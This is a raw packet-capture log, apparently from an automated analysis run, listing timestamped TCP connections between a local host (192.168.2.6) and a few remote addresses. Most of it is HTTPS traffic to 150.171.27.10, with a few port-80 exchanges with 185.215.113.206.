Dec 6, 2024 18:45:54.719227076 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.719243050 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.719281912 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.731848955 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.731867075 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.731945992 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.731951952 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.731988907 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.732611895 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.732633114 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.732682943 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.732688904 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.732713938 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.732726097 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.746539116 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.746556044 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.746584892 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.746637106 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.746640921 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.746679068 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.747226000 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.747242928 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.747282028 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.747287035 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.747332096 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.748300076 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.748322010 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.748362064 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.748372078 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.748402119 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.748420954 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.767704010 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.767724037 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.767750025 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.767755032 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.767792940 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.767817020 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.772902966 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.772922993 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.772962093 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.772967100 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.773001909 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.773015976 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.782866001 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.782890081 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.782948017 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.782970905 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.783011913 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.795367002 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.795396090 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.795434952 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.795454025 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.795515060 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.795515060 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.795742989 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.795758963 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.795793056 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.795800924 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.795825958 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.795846939 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.806052923 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.806073904 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.806147099 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.806154013 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.806212902 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.817600965 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.817619085 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.817696095 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.817703009 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.817743063 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.821787119 CET	443	49838	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.821852922 CET	443	49838	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.821908951 CET	49838	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.822081089 CET	49838	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.822098970 CET	443	49838	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.822109938 CET	49838	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.822114944 CET	443	49838	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.823375940 CET	443	49839	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.823436975 CET	443	49839	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.823487997 CET	49839	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.823645115 CET	49839	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.823662043 CET	443	49839	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.823672056 CET	49839	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.823677063 CET	443	49839	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.824527979 CET	49844	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.824556112 CET	443	49844	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.824623108 CET	49844	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.824904919 CET	49844	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.824913025 CET	443	49844	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.825719118 CET	49845	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.825741053 CET	443	49845	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.825833082 CET	49845	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.825937986 CET	49845	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.825953007 CET	443	49845	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.828231096 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.828248978 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.828316927 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.828331947 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.828376055 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.838144064 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.838169098 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.838227987 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.838238955 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.838274002 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.838293076 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.846986055 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.847007036 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.847055912 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.847078085 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.847116947 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.847136021 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.848947048 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.848963976 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.849020958 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.849033117 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.849072933 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.857440948 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.857460022 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.857492924 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.857502937 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.857557058 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.857557058 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.858278990 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.858298063 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.858333111 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.858339071 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.858376026 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.858401060 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.869014025 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.869034052 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.869072914 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.869081974 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.869111061 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.869132042 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.879087925 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.879106998 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.879162073 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.879168034 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.879234076 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.879321098 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.879337072 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.879385948 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.879393101 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.879429102 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.880783081 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.880851030 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.880858898 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.880870104 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.880899906 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.880932093 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.881150961 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.881165028 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.881174088 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.881211042 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.891674042 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.891690969 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.891748905 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.891757011 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.891772032 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.891793013 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.893018961 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:54.893337011 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:54.901231050 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.901246071 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.901278019 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.901284933 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.901333094 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.911617041 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.911633968 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.911686897 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.911703110 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.911735058 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.911755085 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.917593956 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.917613029 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.917656898 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.917673111 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.917690039 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.917712927 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.921574116 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.921590090 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.921643972 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.921652079 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.921690941 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.931476116 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.931490898 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.931524038 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.931530952 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.931565046 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.931616068 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.931648016 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.931654930 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.931689024 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.931713104 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.931747913 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.935533047 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.935550928 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.946018934 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.946093082 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.946094990 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.946105957 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.946156979 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.971580029 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.971610069 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.971652031 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.971659899 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.971694946 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.971709967 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.978811026 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.978828907 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.978902102 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.978920937 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.978960991 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.986217022 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.986233950 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.986298084 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.986304998 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.986352921 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.993676901 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.993694067 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.993732929 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.993740082 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.993776083 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.993794918 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.993922949 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.993940115 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.993973970 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.993979931 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.994014978 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.994033098 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.001970053 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.001986980 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.002046108 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.002057076 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.002089024 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.002108097 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.009540081 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.009561062 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.009598970 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.009605885 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.009637117 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.009654999 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.012777090 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:55.013391018 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:55.017537117 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.017554045 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.017605066 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.017611980 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.017667055 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.024576902 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.024594069 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.024630070 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.024636984 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.024681091 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.041996002 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.042013884 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.042058945 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.042068005 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.042104959 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.042120934 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.119573116 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.119616032 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.119658947 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.119687080 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.119699955 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.119728088 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.135335922 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.135354042 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.135395050 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.135401011 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.135442019 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.153207064 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.153265953 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.153302908 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.153347969 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.170891047 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.170909882 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.170979023 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.171003103 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.171045065 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.171546936 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.171567917 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.171600103 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.171610117 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.171622992 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.171648026 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.178809881 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.178827047 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.178863049 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.178874016 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.178905010 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.178924084 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.186285019 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.186306000 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.186338902 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.186347961 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.186373949 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.186413050 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.186423063 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.186431885 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.186476946 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.186490059 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.186527014 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.193370104 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.193386078 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.193427086 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.193438053 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.193464041 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.193481922 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.201853037 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.201869965 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.201904058 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.201910019 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.201941967 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.201958895 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.205634117 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.205651045 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.205692053 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.205699921 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.205737114 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.208821058 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.208842039 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.208877087 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.208884001 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.208906889 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.208920956 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.216784954 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.216801882 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.216835022 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.216840029 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.216872931 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.216901064 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.221420050 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.221440077 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.221474886 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.221482038 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.221510887 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.221524000 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:55.233038902 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:55.233057022 CET	443	49830	150.171.27.10	192.168.2.6
